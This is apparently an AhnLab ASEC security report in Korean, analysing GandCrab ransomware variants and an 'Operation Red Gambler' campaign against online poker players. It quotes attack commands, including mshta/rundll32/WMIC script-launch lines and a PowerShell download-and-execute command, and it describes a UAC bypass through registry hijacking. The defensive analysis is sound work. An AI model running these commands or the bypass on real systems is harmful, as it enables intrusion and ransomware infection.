ASEC REPORT VOL.91 2018 년 2 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC에서작성하며, 주요보안위협과이슈에대응하는최신보안기술에대한요약정보를담고있습니다. 더많은정보는안랩닷컴 (www. ahnlab.com) 에서확인하실수있습니다. 2018 년 2 분기보안동향 Table of Contents 보안이슈 SECURITY ISSUE 변종별특징부터킬스위치까지, 갠드크랩 랜섬웨어의모든것 04 악성코드상세분석 ANALYSIS-IN-DEPTH 오퍼레이션레드갬블러 의실체 21 ASEC REPORT Vol.91 Security Trend 2
보안이슈 SECURITY ISSUE 변종별특징부터킬스위치까지, 갠드크랩랜섬웨어의모든것
변종별특징부터 보안이슈 Security Issue 킬스위치까지, 갠드크랩 랜섬웨어의모든것 올해초취약한웹사이트를통해유포되기시작한갠드크랩 (GandCrab) 랜섬웨어가 2018년 2분기에들어선지난 4월초부터는다양한변종형태로잇따라등장하며국내에본격적으로확산되기시작했다. 특히단일실행파일로동작하는형태뿐만아니라, 파일로생성되지않고메모리상에서만동작하여암호화를진행하도록하는파일리스 (Fileless) 형태의등장이뜨거운감자로떠올랐다. 안랩시큐리티대응센터 (AhnLab Security Emergency-response Center, 이하 ASEC) 는갠드크랩랜섬웨어와그변종을지속적으로추적, 분석했다. 그결과, 갠드크랩랜섬웨어의킬스위치 (Kill Switch) 를찾아내자사고객의피해예방을위한대응방안을배포할수있었다. 이리포트에서는갠드크랩랜섬웨어의버전별형태, 감염방식등주요특징과킬스위치 (Kill Switch) 까지면밀히살펴본다. 01. 유포방식 갠드크립랜섬웨어의유포방식은크게파일리스 (Fileless) 형태의유포와실행파일형태의유포두 가지로나눌수있다. (1) 파일리스 (FILELESS) 형태의유포 파일리스형태로유포된갠드크랩랜섬웨어는갠드크랩 v2.1, 갠드크랩 v2.1( 내부버전 version=3.0.0), 갠드크랩 v3.0 으로구분할수있다. 각버전별갠드크랩의특징을살펴보자. ASEC REPORT Vol.91 Security Trend 4
1-1) 갠드크랩 v2.1 지난 4월초, 파일형태로생성되지않고오직메모리상에서만동작하는갠드크랩 v2.1가최초로발견되었다. 이와같은형태의갠드크랩랜섬웨어는매그니튜드 (Magnitude) 익스플로잇킷을통해유포되었으며, 동작방식은 [ 그림 1-1] 과같다. 그림 1-1 갠드크랩 v2.1 유포및동작방식 사용자가유포사이트에접근시, 공격자가의도한윈도우정상프로세스인 mshta.exe, rundll32. exe, WMIC.exe 를통해특정 URL로접속을유도한다. 해당정상프로세스를통해접속하는페이지에는악성자바스크립트가포함되어있다. 각프로세스별스크립트실행방식은 [ 표 1-1], [ 표 1-2], [ 표 1-3] 과같다. mshta.exe 로구동되는커맨드명령 GetObject("new:13709620-C279-11CE-A49E-444553540000").ShellExecute "mshta","vbscript:close(execute("getobject("script:"url")))" 표 1-1 mshta.exe 로구동되는커맨드명령 rundll32.exe 로구동되는커맨드명령 GetObject("new:13709620-C279-11CE-A49E-444553540000").ShellExecute "Rundll32.exe",\"javascript:"\\..\\mshtml,RunHTMLApplication \"&\"&\";document.write();getobject('script:url')\" 표 1-2 rundll32.exe 로구동되는커맨드명령 ASEC REPORT Vol.91 Security Trend 5
WMI 로구동되는커맨드명령 GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Run "wmic process call create "'"mshta vbscript:close(execute("""getobject (""""script:"url""")"""))"' 표 1-3 WMI 로구동되는커맨드명령 접속 URL 페이지에작성되어있는악성스크립트가실행되면코드내부에 Base64로인코딩된 DLL 이미지를디코딩하여메모리상에서동작하도록한다. 디코딩된 DLL 이미지는내부에갠드크랩 v2.1의핵심이되는또다른 DLL 이미지를 explorer.exe에인젝션하여동작하도록한다. 파일리스형태의갠드크랩은이와같이악성행위과정에서자바스크립트및 PE 이미지를파일로드롭하거나다운로드하지않은채메모리상에서만동작하게하는것이특징이다. 킬스위치 1: 갠드크랩 v2.1 암호화방지 안랩분석결과, 특정조건에서갠드크랩 v2.1 의파일암호화가중단될수있게하는킬스위치 (Kill-Switch) 를확인하였다. Text.txt 파일내부에 10바이트의특정데이터가존재할경우, 해당파일이하경로는암호화하지않는다. 즉, 특정데이터를포함한 Text.txt 파일을각드라이브루트경로에복사해놓으면해당드라이브하위의파일들에대한암호화를막을수있게된다. 다음은특정드라이브하위의파일에대한암호화차단예시이며, [ 그림 1-2] 는 Text.txt 파일의내부데이터값이다. C:\Text.txt (C 드라이브하위암호화차단 ) D:\Text.txt (D 드라이브하위암호화차단 ) 그림 1-2 암호화를차단할수있는 Text.txt 내부데이터값 ASEC REPORT Vol.91 Security Trend 6
1-2) 갠드크랩 v2.1 ( 내부버전 version=3.0.0) 이번에살펴볼갠드크랩은앞서확인한갠드크랩 v2.1과표면적으로동일하나, 파일암호화후나타나는랜섬노트에표기된버전과실질적인암호화기능을수행하는 DLL 파일내에하드코딩된버전이다르다는점이특징적인점이다. 분석결과랜섬노트에는 GandCrab v2.1 로나오지만, [ 그림 1-3] 과같이실제로공격자에게전달되는내부버전정보는 3.0.0 인것으로확인되었다. 비슷한시기에접수된또다른갠드크랩역시랜섬노트에서는 GandCrab v2.1 로표기되었지만내부버전정보는 2.3.2 으로확인되었다. 해당데이터는암호화 PC의고유 ID, 암호화키등의값과함께공격자에게 HTTP 통신파라미터로전달된다. 내부버전 3.0.0으로명시된 DLL 파일은바이너리빌드날짜가 2018년 4월 23일 (UTC) 로, 랜섬웨어공격자는최근까지도악성코드를제작및유포하고있다는점을알 수있다. 그림 1-3 내부버전을따로명시하는 GandCrab 킬스위치 2: 갠드크랩 v2.1( 내부버전 version=3.0.0) 암호화방지 갠드크랩 v2.1( 내부버전 version=3.0.0) 또한마찬가지로특정조건에서파일암호화가중단될수 있는킬스위치를 (Kill-Switch) 가확인됐다. 갠드크랩 v2.1 실행시시스템 C:\ 경로내에 MalwarebytesLABs 이름을가진파일또는 폴더가있을경우 [ 그림 1-4] 와같은메시지창 그림 1-4 갠드크랩실행시확인되는메시지창 이나타난다. 이때악성프로세스는 [ 확인 ] 버튼 ASEC REPORT Vol.91 Security Trend 7
에대한사용자의마우스클릭동작 ( 이벤트 ) 을대기하기때문에암호화단계로넘어가는것을일시적으로멈추게된다. 따라서 [ 그림 1-4] 와같은메시지창이발생했을경우에는 [ 확인 ] 버튼을클릭하거나창을닫지말아야하며, 즉시시스템을종료하면암호화가되는것을방지할수있다. 메시지창은 C:\MalwarebytesLABs 파일또는폴더가존재하는경우에만발생하므로, 다음과같이두가지방식의예방법을소개한다. Case 1) C:\ 경로에 MalwarebytesLABs 이 름을가진폴더를생성한다. Case 2) C:\ 경로에 MalwarebytesLABs 이 름 ( 확장자없음 ) 을가진파일을생성한다. 그림 1-5 C 드라이브최상위경로에 MalwarebytesLABs 폴더생성 1-3) 갠드크랩 v3.0 갠드크랩 v2.0 이후지난 4 월말부터 5 월초에거쳐파일리스형태의갠드크랩 v3.0 이잇따라등 장하였는데, 갠드크랩 v3.0 의경우동작방식에서이전버전인 v2.0 과는상당한차이를보였다. 그림 1-6 4 월 30 일유포과정구조도 ASEC REPORT Vol.91 Security Trend 8
그림 1-7 5 월 2 일유포과정구조도 [ 그림 1-6] 과 [ 그림 1-7] 는각각 4 월 30 일과 5 월 2 일매그니튜드 (Magnitude) 익스플로잇킷을통 해유포된갠드크랩 v3.0 의구조도이다. 유포된스크립트로부터갠드크랩 v3.0 랜섬웨어가실행되 기까지의상세과정은다음과같다. 그림 1-8 인코딩된유포스크립트 먼저유포스크립트를살펴보면 [ 그림 1-8] 과같이매그니튜드익스플로잇킷의랜딩페이지로인코딩된형태임을알수있다. 이후해당유포스크립트는 4월 30일, 5월 2일각각 [ 그림 1-9], 그림 1-9 디코딩된유포스크립트 (04/30) [ 그림 1-10] 과같은형태로다시디코딩된다. ASEC REPORT Vol.91 Security Trend 9
그림 1-10 디코딩된유포스크립트 (05/02) [ 그림1-9], [ 그림1-10] 의유포스크립트는빨간박스로표시된변수 array에담긴문자열 (Base64 로인코딩된닷넷 DLL) 을디코딩한후실행한다. 해당방식은디코딩된닷넷 DLL을로컬에드랍하지않고실행하는파일리스방식이다. 따라서닷넷 DLL은해당유포스크립트가동작하고있던 iexplore.exe 의메모리상에서동작하게된다. 그림 1-11 Base64 디코딩된닷넷 PE (04/30) 그림 1-12 Base64 디코딩된닷넷 PE (05/02) ASEC REPORT Vol.91 Security Trend 10
[ 그림 1-11] 와 [ 그림 1-12] 은각각 4월 30일, 5월 2일유포스크립트내부의닷넷 DLL 코드다. 유포스크립트로인해해당 DLL이실행되면 [ 그림 1-9], [ 그림 1-10] 에보이는변수 array에담긴쉘코드를쓰레드로실행시킨다. 해당쉘코드는앞서확인한 [ 그림 1-6], [ 그림 1-7] 의구조도에서보이는패킹된 DLL을다운로드하고실행하는역할을수행한다. 그림 1-13 쉘코드로부터다운로드되는 DLL (04/30) 그림 1-14 쉘코드로부터다운로드되는 DLL (05/02) [ 그림 1-13] 과 [ 그림 1-14] 는각각 4월 30일, 5월 2일쉘코드로부터다운로드및실행되는 DLL이다. 날짜별실행방식의차이점은인젝션대상프로세스이다. [ 그림 1-13] 의 4월 30일자 DLL의경우 svchost.exe에인젝션을시도하며, 실패시현재프로세스 (iexplore.exe) 에랜섬웨어를인젝션한다. 한편 [ 그림 1-14] 의 5월 2일자 DLL의경우 wimserv.exe 에인젝션을시도하며, 실패시현재프로세스 (iexplore.exe) 에랜섬웨어를인젝션하게된다. ASEC REPORT Vol.91 Security Trend 11
(2) 실행파일형태의유포 실행파일형태로유포된갠드크랩랜섬웨어는크게지원서및정상유틸리티프로그램으로위장 한갠드크랩 v2.0 과스팸메일을통해이력서로위장한갠드크랩 v3.0 으로구분할수있다. 2-1) 지원서및정상유틸리티프로그램으로위장 ( 갠드크랩 v2.0) 안랩에서수집한갠드크랩랜섬웨어를분석한결과, 갠드크랩 v2.0 은 [ 표 1-4] 와같이수집된경 로, 파일명등을지원서및정상유틸리티프로그램으로위장하여유포되고있음을확인하였다. 유포경로 지원서위장 (license.exe) skype 위장 (skype.exe) kakaotalk 위장 (kakatotalk.exe)..\ 행정업무 \ 프리랜서 _ 계약비용 \ 지원 \ 이영윤 \ 지원서 \ 지원서 \license.exe..\documents\ 지원서 \ 지원서 \license.exe..\desktop\ 이영윤 \ 지원서 \ 지원서 \license.exe..\pictures\ 이미지링크정리 \ 이미지링크정리 \skype.exe..\documents\ 이미지링크정리 \ 이미지링크정리 \skype.exe..\documents \ 이미지링크정리 \ 이미지링크정리 \kakaotalk.exe..\desktop\ 전단지 \ 이미지링크정리 \ 이미지링크정리 \kakaotalk.exe 표 1-4 갠드크랩 v2.0 유포경로 유포경로로볼때갠드크랩 v2.0 은국내에활발히유포되고있으며, 유포시압축파일로전파되 었을것으로보인다. [ 표 1-4] 의현재까지확인된갠드크랩 v2.0 배포에악용된 3 가지이름의파일 은실행하지않도록주의해야한다. 2-2) 스팸메일을통해이력서로위장 ( 갠드크랩 v3.0) 지난 5월초에는사회공학기법을이용해채용정보사이트에정보를기재한인사담당자를대상으로이력서형태의갠드크랩 v3.0 랜섬웨어가집중유포됐다. 공격자는입사지원자를사칭한메일을통해인사담당자가메일본문에포함된링크를클릭시랜섬웨어다운로드페이지로이동하도록연결을유도한다. 사용자가해당페이지에서이력서로위장한압축파일을다운로드하여실행하면갠드크랩랜섬웨어에감염된다. 유포과정은 [ 그림 1-15] 와같다. ASEC REPORT Vol.91 Security Trend 12
그림 1-15 이력서로위장한갠드크랩유포과정 공격자는 [ 그림 1-16] 과같이이력서메일에소개글과함께 이력서를첨부하였습니다 라는내용으 로링크클릭을유도하는데, 이서버 (www.d****aw/doc.php) 에접속하면지원자명의로된압축 파일이다운로드된다. 그림 1-16 지원메일 이압축파일 (min_hee_resume.zip) 을해제하면 [ 그림 1-17] 과같은스크립트파일 (resume. js) 이존재하는데, 해당스크립트는난독화되어있어 [ 그림 1-18] 과같이알아볼수없는문자열 로보인다. 그림 1-17 압축파일 ASEC REPORT Vol.91 Security Trend 13
그림 1-18 난독화된스크립트 해당스크립트를복호화하면 [ 그림 1-19] 와같이랜섬웨어유포페이지 URL(www.yo****p.com/ update.php) 등을확인할수있으며, 서버로부터랜섬웨어 ( 랜덤 _ 이름 ).exe 파일을다운로드한후 실행하는기능이존재하는것을알수있다. 그림 1-19 복호화후 URL 스트링 02. 감염동작방식및암호화방식 (1) 감염동작방식앞서살펴본갠드크랩랜섬웨어의버전을정리하면크게 v2.0, v2.1, v3.0 세가지로정리할수있으며, 각버전별로암호화대상혹은제외대상등암호화조건들이점차적으로변화했다. [ 표 1-5] 는갠드크랩랜섬웨어의버전별공통점과차이점이다. ASEC REPORT Vol.91 Security Trend 14
v2.0 v2.1 v3.0 C&C로전송되는사용자정보동일 - 공용 IP, PC_USER, PC_NAME, PC_GROUP, 언어, OS version, OS bit, 식별자, 저장장치정보 공통점 랜섬노트명 (CRAB-DECRYPT.txt) 및 정상파일암호화후변경되는확장자 (CRAB) 명 암호화제외경로및파일명 [ 표 6] 차이점.ani,.cab,.cpl,.cur,.diagcab,.diagpkg,.dll,.drv,.hlp,.icl,.icns,.ico,.ics,.lnk,.key,.idx,.mod,.mpa,.msc,.msp,.msstyles,.msu,.nomedia,.ocx,.prf,.rom,.rtp,.scr,.shs,.spl,.sys,.theme,.themepack,.exe,.bat,.cmd,.CRAB,.crab,.GDCB,.gdcb,.gandcrab,.yassine_lemmou (42개) 종료대상프로세스 [ 표7] 사용중인 AntiVirus 제품확인목록 [ 표8] 암호화방식 ( 아래상세설명 ) 암호화제외확장자 v2.0에서.ldf 하나추가 (43개) v3.0v2.1과동일 (43개) 랜섬노트에각각의버전명시바탕화면변경기능 표 1-5 갠드크랩의버전별공통점및차이점 바탕화면변경없음 v2.1 바탕화면변경없음 v 바탕화면변경함 [ 그림 20]3.0 또한 [ 표 1-6] 과같이일부경로와파일명은암호화대상에서제외된다. 암호화제외경로 암호화제외파일명 \ProgramData\ Ransomware desktop.ini boot.ini \IETldCache\ \All Users\ autorun.inf ntuser.dat.log \Boot\ \Local Settings\ ntuser.dat thumbs.db \Program Files\ \Windows\ iconcache.db CRAB-DECRYPT.txt \Tor Browser\ bootsect.bak 표 1-6 암호화제외경로및파일명 갠드크랩랜섬웨어가종료시키는대상프로세스는 [ 표 1-7] 과같다. ASEC REPORT Vol.91 Security Trend 15
암호화제외경로 msftesql.exe xfssvccon.exe ocomm.exe onenote.exe sqlagent.exe mydesktopservice.exe mysqld.exe outlook.exe sqlbrowser.exe agntsvc.exeisqlplussvc.exe mysqld-nt.exe powerpnt.exe sqlservr.exe xfssvccon.exe mysqld-opt.exe steam.exe sqlwriter.exe mydesktopservice.exe dbeng50.exe thebat.exe oracle.exe ocautoupds.exe sqbcoreservice.exe thebat64.exe ocssd.exe agntsvc.exeagntsvc.exe excel.exe thunderbird.exe dbsnmp.exe agntsvc.exeencsvc.exe infopath.exe visio.exe synctime.exe firefoxconfig.exe msaccess.exe winword.exe mydesktopqos.exe tbirdconfig.exe mspub.exe wordpad.exe agntsvc.exeisqlplussvc.exe 표 1-7 종료대상프로세스 또한갠드크랩랜섬웨어는현재사용자가시스템에서사용중인백신프로그램에대해서도확인하 는데대상제품은 [ 표 1-8] 과같다. 사용중인 AntiVirus 제품확인목록 AVP.EXE ekrn.exe avgnt.exe ashdisp.exe NortonAntiBot.exe 표 1-8 사용자가사용중인백신제품확인대상 Mcshield.exe avengine.exe cmdagent.exe smc.exe persfw.exe pccpfw.exe fsguiexe.exe cfp.exe msmpeng.exe 최종적으로사용자시스템이갠드크랩랜섬웨어에감염되면바탕화면이변경된다. [ 그림 1-20] 은 갠드크립 v3.0 에감염된화면이다. 그림 1-20 갠드크랩 v3.0 에감염된후변경된바탕화면 ASEC REPORT Vol.91 Security Trend 16
(2) 암호화방식 앞서 [ 표 1-5] 의갠드크랩랜섬웨어의버전별특징에서확인한것과같이갠드크랩은정상파일을 암호화할때공통적인방식을사용하며, 상세내용은다음과같다. 갠드크랩랜섬웨어는 v2.0 이후부터공개키기반의암호화방식을사용한다. 암호화대상이되는파일마다랜덤한키바이트를생성하여 AES-256 방식으로암호화한뒤, 랜덤키바이트를다시공격자의공개키로암호화한다. 따라서암호화된파일을복호화를하기위해서는공격자의개인키가필요하다. 그림 1-21 갠드크랩 v2.1 의암호화방식 [ 그림 1-21] 는갠드크랩 v2.1의암호화방식을요약한구조도이다. 먼저로컬에서공개키 / 개인키쌍을생성한뒤공격자의 C&C 서버에생성한키값을전송한다. 이후공격자는자신의공개키를감염 PC에전송하여사용자로컬 PC에서생성한랜덤한키값을암호화하는데활용한다. 따라서공격자의 C&C 서버에서전달받은공개키에대한개인키를알지못하면암호화된파일의복구는불가능하다. ASEC REPORT Vol.91 Security Trend 17
그림 1-22 암호화된파일의구조 갠드크랩 v2.1에의해암호화가완료된파일은내부구조가변경되는데, [ 그림 1-22] 은원본의파일크기가 0x220인파일을암호화한결과이다. 파일끝 0x208 크기의값은복호화에필요한값들을저장하고있다. 공격자의공개키로키값과벡터값을암호화하기때문에복호화를위해서는공격자의개인키가필요하다. 03. 안랩제품의대응현황 V3 제품군에서는갠드크랩랜섬웨어의최신변종을다음과같은진단명으로탐지하고있다. 파일리스 (Fileless) 형태의갠드크랩 진단명 네트워크침입차단 행위진단 malware_gandcrab_c2_init-1(http) Malware/MDP.Ransom.M1928 Malware/MDP.Create.M1925 ASEC REPORT Vol.91 Security Trend 18
실행파일형태의갠드크랩 진단명 네트워크침입차단 malware_gandcrab_c2_init-1(http) Malware/MDP.Ransom.M1171 행위진단 Malware/MDP.Create.M1179 Malware/MDP.Ransom.M1907 Trojan/Win32.RansomCrypt 파일진단 Trojan/Win32.Gandcrab Win-Trojan/Gandcrab.Exp ASEC REPORT Vol.91 Security Trend 19
악성코드 상세분석 ANALYSIS-IN-DEPTH 오퍼레이션레드갬블러 의실체
악성코드상세분석 Analysis-In-Depth 오퍼레이션 레드갬블러 의실체 안랩은국내기관및주요기업들을대상으로지속적인사이버공격을수행했던다수의해킹그룹들을추적하던중지난 2016년 10월부터 2017년 8월까지약 11개월동안특정공격그룹이국내고스톱 포커류의사행성게임이용자들을노린악성코드를제작및유포했음을확인했다. 이는기밀정보유출등을목적으로한이전공격과는달리경제적이익을목적으로개인사용자까지공격을확대했다는점에서주목할필요가있다. 안랩시큐리티대응센터 (ASEC) 는공격에사용된악성코드의동작방식과목적등을분석하여해당공격을 오퍼레이션레드갬블러 (Operation Red Gambler) 로명명했다. 이리포트에서는해당그룹의최근공격동향과함께악성코드유포방식, 공격대상의변화등상세한분석내용을살펴본다. 01. 오퍼레이션레드갬블러 (Operation Red Gambler) 공격동향 2009년 7월 DDoS 공격을시작으로현재까지국내를대상으로한사이버공격은특정국가와관련된것으로추정되는데, 이들해킹그룹은주로정치적, 경제적목적을위해전세계를대상으로다양한공격을수행해왔다. 그중언론보도사례기준국내를대상으로수행한주요공격동향을정리하면 [ 그림 2-1] 과같다. ASEC REPORT Vol.91 Security Trend 21
그림 2-1 국내를대상으로수행한주요공격타임라인 초기에는주로시스템파괴를통한사회혼란야기, 기밀자료탈취등의목적이대부분이었으나, 2016년하반기부터는경제적이익에좀더무게를둔악성코드를제작및유포했던것으로보인다. 안랩시큐리티대응센터 (ASEC) 는다수의해킹그룹의움직임을추적하던중한공격그룹이지난 2016년 10월부터 2017년 8월까지약 11개월동안국내고스톱 포커류의사행성웹보드게임이용자의정보를탈취하는악성코드를제작및유포했음을확인했다. 편의상, 이보고서에서는해당공격그룹을 A 공격그룹으로지칭한다. (1) 공격개요고스톱 포커류의사행성웹보드게임은이용자들이보유한게임머니를걸고승부를가리는게임으로승리자는패배자의게임머니를얻을수있다. 게임을통해벌어들인게임머니는불법환전상등다양한경로를통해현금으로바꿀수있기때문에오래전부터사기도박조직 그림 2-2 사행성게임화면 의공격대상이되어왔다. ASEC REPORT Vol.91 Security Trend 22
이와같은사행성게임을목적으로하는사기도 박조직은 [ 그림 2-3] 과같이총책, 관리자, 사 기도박자, 악성코드개발자로구성된다. 총책 (Organizer) 사기도박조직의총책임자이며, 악성코드제작자에게통칭 뷰어또는돋보기 라불리는프로그램의제작을의뢰한다. 직접범행사무실을관리하거나, 범행사무실을관리하는다른하위 조직에구매한악성코드를재판매한다. 그림 2-3 사기도박조직구성도 악성코드개발자 (Malware Creator) 총책으로부터의뢰를받아사기도박을위한프로그램을개발및유포하고구매대금을받는다. 사기도박을위한프로그램은다양한개발언어 Dephi, C++, MFC 등으로제작되며범죄조직내에서암암리에소스코드를판매하는것으로추정된다. 뷰어 ( 돋보기 ) 프로그램 (Viewer) 뷰어 ( 돋보기 ) 프로그램은게임화면및시스템정보를수집하여중계서버에실시간으로전송하는악성코드이다. 게임이용자가많은 PC방시스템및불특정다수를상대로악성코드를유포하며, 이들중사행성온라인게임이용자를범행대상으로노린다. 프로세스실시간감시및화면정보전송, 보안제품의탐지회피, 시스템의순간복구프로그램을무력화하는기능등이있다. 관리자 (Manager) 총책으로부터악성코드를구매하며, 작업장 이라불리는범행사무실을관리하는하위조직이다. ASEC REPORT Vol.91 Security Trend 23
범죄조직에따라관리자가악성코드유포를담당하는경우가있다. 그림 2-4 뷰어 ( 돋보기 ) 사용중인사기도박자 사기도박자 (Grifter) 범행사무실에는일명 선수 라불리는사기도박자가수집된게임정보를이용하여사기도박을벌인다. 사기도박자는악성코드를통해수집된정보를관리프로그램으로확인할수있다. 이렇게획득한정보를이용하여상대방의패를훔쳐보며사기도박을벌인다. 사기도박을통해벌어들인게임머니는불법환전상등다양한경로를통해현금화하여부당이득을챙긴다. (2) 공격대상 오퍼레이션레드갬블러의주요공격대상은국내고스톱 포커류의사행성게임이용자로공격그 룹은경제적이익을목적으로사용자들의게임정보를탈취하는악성코드를유포했다. 국내사행성게임시장의경우국내메이저게임사와그이외의마이너게임사들이고스톱 포커류 의사행성웹보드게임을운영하고있다. 한편, 규제를피해게임물관리위원회에등록되지않은불 법고스톱 포커류의사행성게임도존재한다. ASEC REPORT Vol.91 Security Trend 24
[ 표 2-1] 은공격대상게임목록이며, 공격그룹은주기적으로공격대상게임목록을업데이트한다. 게임운영사 게임이름 A사 7포커, 라스베가스포커, 로우바둑이, 하이로우, 텍사스홀덤 B사 7포커, 뉴포커, 훌라, 로우바둑이, 하이로우 C사 포커 D사 포커 E사 포커 F사 포커, 맞고 G사 포커, 맞고 H사 포커, 맞고 표 2-1 공격대상게임목록 국내에유통되는게임물은먼저게임물관리위원회의등급분류를받아야하는데, 게임물관리위원회에등록된사행성게임은규제에의해베팅및이용한도와불법환전이제한되어있어일부마이너게임사에의해제작된사행성게임의경우정상등급분류를받고난뒤게임내용을변경하는편법을사용한다. 이후변조된게 임내용이적발되어등록이취소되면일정기간이지난후상표를바꿔다시운영한다. 이와같이주기적으로상표가변경되는국내고스톱 포커류의사행성게임시장의특성으로인해 공격그룹또한주기적으로공격대상게임을업데이트하는것으로추정된다. (3) 타임라인사기도박조직의전통적인공격전술은고스톱 포커류의사행성게임이용자가많은 PC방을대상으로악성코드를유포하는것이다. 하지만 A 공격그룹의최초공격방법을분석한결과기존사기도박조직의공격방식과차이점이있음을확인했다. [ 그림 2-5] 의공격타임라인을살펴보자. 그림 2-5 공격타임라인 ASEC REPORT Vol.91 Security Trend 25
A 공격그룹이제작한악성코드는 2016 년 10 월최초로발견되었는데, 최초공격대상은유틸리티프로 그램을이용하는불특정다수의사용자였다. 그리고같은해 12 월까지유틸리티프로그램의공식웹사 이트를통해악성코드를유포하였으며, 각공격은유틸리티프로그램에따라기간을두고진행되었다. 2017년 1월, A 그룹의공격이다시개시되었는데전년도와달리 PC방을새로운공격대상으로삼은것이확인되었다. 전년도불특정다수를대상으로한공격의효과가미비하였기때문에소수의관리서버를통해다수의클라이언트제어가가능한 PC방으로공격대상을변경한것으로추정되며, 해당공격은 2017년 8월까지계속되었다. [ 그림 2-6] 의유포시기별악성코드진단 PC 수통계를확인하면 2017 년 A 공격그룹이공격 대상을 PC 방으로변경함에따라진단 PC 수가 급증하였음을알수있다. 그림 2-6 유포시기별진단 PC 수통계 (4) 공격방식 A 공격그룹은효과적인공격을위해유틸리티소프트웨어설치파일변조하거나 PC 방관리프로 그램을조작하는형태로악성코드를유포했다. 1) 유틸리티소프트웨어설치파일변조유틸리티소프트웨어를통한공격활동은 2016년 10월부터발견되었으며, 공격의진원지는유틸리티소프트웨어의공식홈페이지로확인되었다. A 공격그룹은다운로드게시판에업로드된설치파일또는다운로드링크를변조하는공격방식을이용했다. ASEC REPORT Vol.91 Security Trend 26
일자프로그램명프로그램분류진단명 2016.10 **** 러브 (****love) 가상사설망 (VPN) 서비스 Dropper/Win32.Fakeinstaller 2016.11 ~ 2016.12 **** 피24(****24) 가상사설망 (VPN) 서비스 Dropper/Win32.Fakeinstaller ****(****OK) 원격제어프로그램 Dropper/Win32.Agent **** 세스 **** 시스템최적화프로그램 Dropper/Win32.Fakeinstaller **** 세스 **** 시스템최적화프로그램 Dropper/Win32.Fakeinstaller 표 2-2 1 차공격대상프로그램정보 공격그룹은가상사설망 (VPN) 서비스를제공하는프로그램부터원격제어프로그램, 시스템최적 화프로그램까지다양한종류의유틸리티소프트웨어를공격대상으로삼았으며, [ 그림 2-7] 과같은 유틸리티소프트웨어설치파일을이용한공격방법을이용하여불특정다수의사용자들을노렸다. 그림 2-7 유틸리티소프트웨어설치파일공격방법 또한공격대상을속이기위해악성코드와설치파일을결합하여변조된설치파일을만들었다. 이렇게변조된설치파일은두가지의방법으로유포되었다. 첫번째는공식홈페이지의정상설치파일을변조된설치파일로바꿔치기하는방법이며, 두번째는공식홈페이지의다운로드링크주소를변조된설치파일이업로드된공격자서버주소로변조하는방법이다. ASEC REPORT Vol.91 Security Trend 27
프로그램명정상다운로드링크주소변조된다운로드링크주소 (IP 주소 ) **** 피 24(****24) *****24.*****ware.co.kr *****.hopto.org (198.***.126.***) **** 세스 **** *****clean.*****tory.com *****clean.*****tory1.com (198.***.126.***) **** 세스 **** *****ping.*****tory.com *****ping.*****tory1.com (198.***.126.***) 표 2-3 변조된다운로드링크주소정보 이용자가프로그램을설치하기위해다운로드링크주소를클릭하면, 공격자서버로부터변조된설치파일이다운로드된다. A 공격그룹은공식홈페이지관리자와프로그램이용자의의심을피하고자다운로드링크주소를정상다운로드링크주소와유사한문자열로생성했다. 또한단일서버에다수의도메인이름 (Domain Name) 을등록하는방식으로서버를운영하였으며, 파일다운로드이외에다른목적으로서버에접속할경우에는공식홈페이지로리다이렉트되도록설정했다. HTTP Response <html><head> <title>302 Found</title> </head><body> <h1>found</h1> <p>the document has moved <a href="http://*****clean.*****tory.com/">here</a>.</p> <hr> <address>apache Server at <a href="mailto:admin@localhost">named.ddns.net</a> Port 80</address> </body></html> 표 2-4 *****clean.*****tory1.com 의응답정보 2) PC방관리프로그램을통한유포 PC방관리프로그램을통한공격방식은 2017 년상반기에확인되었다. A 공격그룹은 2016 년에시도한불특정다수이용자를대상으로한공격의효과가미비하자공격대상을 PC방이 그림 2-8 PC 방관리서버공격방법 용자로변경한것으로추정된다. ASEC REPORT Vol.91 Security Trend 28
A 공격그룹은 [ 그림 2-8] 과같이 PC 방의특성상소수의관리서버를통해다수의클라이언트가 통제되는구조를악용하여, PC 방업체의관리프로그램중일부를이용하여악성코드를유포했다. Command Line cmd.exe /c if not exist c:\users\administrator\appdata\local\temp\csrss.exe powershell (new-object system.net.webclient).downloadfile ( http://images.****king.com/flower.gif, c:\users\administrator\appdata\local\temp\csrss.exe ); (new-object -com shell.application).shellexecute( c:\users\administrator\appdata\local\temp\csrss.exe ) 표 2-5 PC 방클라이언트에전송된명령어정보 공격이발생한 PC방을토대로유포경로를분석한결과, PC방클라이언트에 [ 표 2-5] 와같은명령어가실행된것이확인되었다. 해당명령어는명령프롬프트를실행하여윈도우파워쉘 (PowerShell) 을실행한다. 파워쉘은파일을남기지않는파일리스 (Fileless) 공격기법에주로사용되는데, 별도의파일을생성하지않고스크립트를동작시키면사용자몰래원하는경로에악성코드를다운로드및실행할수있다. 최초명령을실행한프로세스는찾을수없었으나, PC방내다수의클라이언트에동시에명령을내리기위해서는 PC방의운영솔루션이나관리프로그램을이용해야하므로 A 공격그룹은 PC방의운영솔루션또는관리프로그램서버에침투하여사전에제작된악성 URL에서악성코드를다운로드및실행하는명령을내린것으로추정된다. 02. 상세분석 A 공격그룹이공격에이용한악성코드는윈도우운영체제의사용자계정컨트롤 (User Account Control, UAC) 기능을우회하여관리자권한으로실행된다. ASEC REPORT Vol.91 Security Trend 29
그림 2-9 사용자계정컨트롤 (UAC) 기능 사용자계정컨트롤은윈도우비스타운영체제부터도입된보안기능으로, [ 그림 2-9] 와같이윈도우운영체제에서시스템에영향을줄수있는보안문제를예방하기위해작업권한에따라실행을제한한다. 작업권한에는관리자권한과표준사용자권한이있으며레지스트리수정, 시스템경로에파일생성및삭제등시스템에영향을미치는작업이실행되면사용자계정컨트롤팝업창을생성하여관리자권한을요구한다. 이러한일련의권한상승과정을우회하기위해마이크로소프트관리콘솔 ( 이하 MMC) 을이용한 레지스트리하이재킹 (Hijacking) 기법을이용한다. MMC 는시스템구성요소로사용되는도구이 며, 마이크로소프트관리콘솔파일 ( 이하 MSC) 을관리한다. 순번 레지스트리경로 데이터 1 HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command 없음 2 HKEY_CLASSES_ROOT\mscfile\shell\open\command mmc.exe 표 2-6 MMC 호출시레지스트리경로 시스템구성요소중하나인이벤트뷰어 (eventvwr.exe) 가실행되면 [ 표 2-6] 과같이순번에따 라 2 개의레지스트리경로에데이터를읽고실행한다. 